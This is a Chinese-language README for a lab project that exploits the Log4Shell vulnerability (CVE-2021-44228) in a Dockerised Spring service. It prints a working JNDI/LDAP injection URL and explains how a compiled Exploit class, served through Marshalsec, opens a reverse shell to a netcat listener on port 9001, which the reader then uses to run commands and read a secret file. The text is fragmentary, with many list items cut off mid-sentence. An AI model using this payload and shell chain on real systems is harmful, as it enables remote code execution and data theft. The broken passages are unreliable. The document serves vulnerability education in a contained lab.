一个基于 Java 的项目,演示如何利用 CVE-2021-44228 漏洞。
jdk1.8.0_181 目录中。make all 构建所有项目,并创建一个带有易受攻击服务的 Docker 镜像。make start-vulnerable-service 启动一个运行待利用服务的 Docker 容器。该服务将通过本机 8080 端口访问。make start-nc 启动一个 TCP 监听器,等待与目标服务器建立连接。make start-exploiter 启动帮助我们利用漏洞的程序。make start-nc 的那个)。你可能会收到类似 Connection received on 172.24.0.2 46638 的消息(IP 地址和 TCP 端口可能与此处显示的不同)。这意味着利用成功,我们现在已经获得一个连接到服务器/Docker 容器上的 shell。whoami 命令。你可能会收到输出 root。cat ../private-directory/my-secret-file.txt,看看会发生什么。🙂在回答这个问题之前,让我们先看看整个流程中创建的各个进程。

这个 Docker 容器将提供一个简单的 HTTP 服务,负责接收 /log 路径上带有 input 参数的 GET 请求。收到请求后,它会将输入记录到控制台。
为了利用该漏洞,需要一些特定的配置:
1.8.0_181。这对于允许从外部服务加载 Java 类是必要的。spring-boot-starter-logging:2.6.1 替换为 spring-boot-starter-log4j2:2.6.1。后者会为项目引入 log4j-core:2.14.1,这是一个受 CVE-2021-44228 影响的版本。
1.8.0_181 版本构建的。这里没有太多需要解释或调整的东西。它是一个通过 TCP 和 UDP 协议读写数据的简单程序。我们将使用它持续监听 9001 端口上的入站 TCP 连接(其他程序会在服务器端为我们打开这个连接。😉)。
一旦连接建立,所有接收到的数据都会输出到控制台。同时,你输入的所有内容也会通过该连接发送。
现在,有趣的部分开始了!
该程序封装了利用漏洞所需的多个步骤。让我们来逐一分解:
要运行该程序,我们需要提供三个参数:
程序启动后,会基于模板生成一段 Java 代码。该模板需要两个参数:Netcat 的 IP 地址和端口。
代码编写完成后,程序将使用 Java 编译器(javac)版本 1.8.0_181 将其编译为二进制类文件。这一点很重要,可以保持与被利用服务相同的代码版本。
Exploit Java 类的结构相当简单。在它的构造函数中,有一条指令请求操作系统创建一个 shell 程序。创建完成后,该类打开与 Netcat 的 TCP 连接,将 shell 与 TCP 连接的输入输出绑定,并将 Java 虚拟机的执行困在一个循环中,直到连接被 Netcat 关闭。一旦退出循环,构造函数就会继续执行,仿佛什么都没发生过。
Exploiter 会打开一个子进程,请求执行 Marshalsec Java 程序。Marshalsec 程序可在 mbechler/marchalsec Github 项目 中找到。
除其他功能外,它还管理 LDAP 请求,并可用于要求传入的连接通过从外部源下载 Java 类来解析请求。在我们的场景中,我们将使用它来要求传入的连接从 HTTP 服务下载我们的 Exploit Java 类。
一旦 Exploiter 程序创建了被做过手脚的 Java 类,它就会启动一个只有单一响应的 HTTP 服务:返回 Exploit 二进制 Java 类。
简而言之,当易受攻击的服务请求加载外部类时,该服务会读取 Java 类二进制文件并将其发送回易受攻击的服务。就这么简单!
当一切就绪并运行后,程序将输出触发利用所需的 HTTP 请求。只需将其复制粘贴到你喜欢的浏览器中,或通过终端 curl 执行,哪种方式对你最方便就用哪种!
请求将类似于:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
由于查询参数包含特殊字符,需要对其进行编码,浏览器才能接受。如果我们对其进行解码,消息将是:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
下面是请求发送后所发生事情的简化示意图:

我将尝试用这张图来解释接下来会发生什么:
${jndi:ldap://host.docker.internal:1389/a}。host.docker.internal:1389 使用 a 键检索要呈现的内容(这是一个相当无聊且无效的 LDAP 专有名称,但嘿,只要能用就行……)。然后 log4j 会向该地址发送请求,意图检索该值。说明: host.docker.internal 是 Docker 服务用于访问其所在物理机的有效地址。
host.docker.internal:8000、名为 Exploit 的 Java 类文件来解析该请求。host.docker.internal:8000 发送请求,要求获取 /Exploit 路径下的资源。Exploit 二进制 Java 类。Exploit() 构造函数方法来解析变量。Exploit() 构造函数方法在服务器上启动一个 shell 程序,并请求与 host.docker.internal:9001 打开一个 TCP 通道。Exploit() 构造函数方法会将 shell 的输入输出与 TCP 连接绑定,并将 Java 虚拟机线程困在一个循环中,直到连接的另一端关闭该 TCP 连接。TBD
kozmer/log4j-shell-poc Github 项目 - 它帮助我理解了利用的工作原理。感谢所有为该项目做出贡献的人!
mbechler/marchalsec Github 项目 - 没有这个项目,我不可能这么快搞定 LDAP 通信和重定向。谢谢各位!
SrcCodes Log4j 漏洞视频 - 一个讲解得很好的视频,介绍了如何在基于 Spring 的程序上开始漏洞利用。
Nowcomm CVE-2021-44228 漏洞利用演示视频 - 一个很好的视频,解释了如何在 Apache Solr 上利用 CVE-2021-44228。我不得不好好看后半小时的内容,看了大概十几遍才明白到底发生了什么!😛
CTRL+C 关闭连接。CTRL+C 中断进程。